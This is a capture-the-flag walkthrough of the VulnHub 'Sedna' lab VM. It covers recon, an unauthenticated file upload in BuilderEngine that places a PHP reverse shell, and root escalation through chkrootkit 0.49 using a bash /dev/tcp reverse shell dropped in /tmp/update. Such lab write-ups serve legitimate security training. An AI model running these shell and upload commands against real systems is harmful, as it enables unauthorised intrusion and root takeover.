PenLog - Sedna by VulnHub

James Fraser · September 19, 2020


Platform: VulnHub
Difficulty: Medium


Run netdiscover to find the IP address of the VM:

$ netdiscover -i vmnet1  00:0c:29:9a:47:01      1      42  VMware, Inc.

Run full nmap port scan on the discovered target IP:

$ nmap -vv -Pn -sT -T4 -p- -n

This results in:


Run dirbuster against the target’s open http port 80 using the /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt wordlist and options Be Recursive switched off, and File extension set to html, php, txt.

Note /licence.txt in the result; navigate to this in the browser and notice the line:

Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.

Continuing through the DirBuster results, note /finder.html, which, when navigated to in the browser, has the title: elFinder 2.0.

Searching Google, there is a BuilderEngine project on GitHub at tripflex/builder-engine with the description: “Open source CMS HTML 5 website builder.”

Taking a chance on this, use searchsploit and evaluate results:

$ searchsploit enginebuilder


Download the non-Metasploit PoC with EDB-ID 40390:

$ searchsploit -m 40390

40390 Description

40390 reports EngineBuilder v3.5.0 as having a Remote Code Execution vulnerability; reading the PoC, it describes the ability to perform Arbitrary File Upload via unauthenticated, unrestricted access to a bundled jQuery File Upload plugin /themes/dashboard/assets/plugins/jquery-file-upload.

With this file upload capability, upload a reverse PHP shell–the website is serving PHP–to establish a low-privilege user shell.

User Shell

Copy 40390, changing the extension from .php to .html:

$ cp 40390.{php,html}

Update the PoC’s action string to instead include the target IP address:

$ diff 40390.html 40390.php
< <form method="post" action="" enctype="multipart/form-data">
> <form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
< </html>
> </html>
\ No newline at end of file

Copy /usr/share/webshells/php/php-reverse-shell.php from Kali’s bundled webshells and update the connect back IP address/port to be the attacking IP address/port:


Serve the html version of 40390 locally and upload the modified php-reverse-shell.php:


As noted in the documentation, 40390 advises that the uploaded shell will be accessible via /files:


Start an nc lister on the port that was added to the modified php-reverse-shell.php:

$ nc -vnlp 4444

Click the php-reverse-shell.php link in the browser and establish a reverse shell connection:

user-shell (Note: “reverse” in the above is a bash alias for nc -vnlp 4444.)

Get the user flag.txt:


Lastly, upgrade the shell with a PTY:

$ python -c 'import pty; pty.spawn("/bin/bash")'
$ (Ctrl-Z)
$ stty raw -echo
$ fg
$ export TERM=xterm && reset

(After spending an hour looking at some other installed, vulnerable software, and attempting Dirty Cow for this vulnerable Linux Kernel v3.13.0-32, I discovered a vector via cron.)

Upload and execute custom

$ cat


old_process=$(ps -eo command)  # sort by command (-o)

while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process")
    sleep .2

After a while, notice chkrootkit in the output, running as root:


Notice path /etc/chkrootkit on target (non-standard) and version string in /etc/chkrootkit/README:

$ cat /etc/chkrootkit/README
 09/30/2009 - Version 0.49  new tests: Mac OS X OSX.RSPlug.A.  Enhanced
                            tests: suspicious sniffer logs, suspicious
                            PHP files, shell history file anomalies.
                            Bug fixes in chkdirs.c, chkproc.c and

Search for a local privilege escalation with searchsploit and download the non-Metasploit PoC 33899:

33899-chkrootkit (Note: “ss” in the above is a bash alias for searchsploit.)

33899 Description

33899 reports chkrootkit v0.49 as having a vulnerable function that will execute files specified in a variable due to unquoted variable assignment. The PoC goes on to describe “Steps to reproduce”:

  • Put an executable file named ‘update’ in /tmp
  • Run chkrootkit (as uid 0)

Root Shell

Follow the instructions and put the file with a bash reverse shell to attacking machine:

$ echo "bash -i >& /dev/tcp/ 0>&1" > /tmp/update
$ chmod +x /tmp/update

Start nc listener on the attacking machine, specifying the expected reverse shell port (4445 in this case):

$ nc -vnlp 4445

Wait for cron to execute chkrootkit as root; reading /etc/crontab, the root /etc/cron.hourly will run every 17 min:


After /tmp/update is executed as root via the cron call to chkrootkit, get the root flag.txt via the established root shell:


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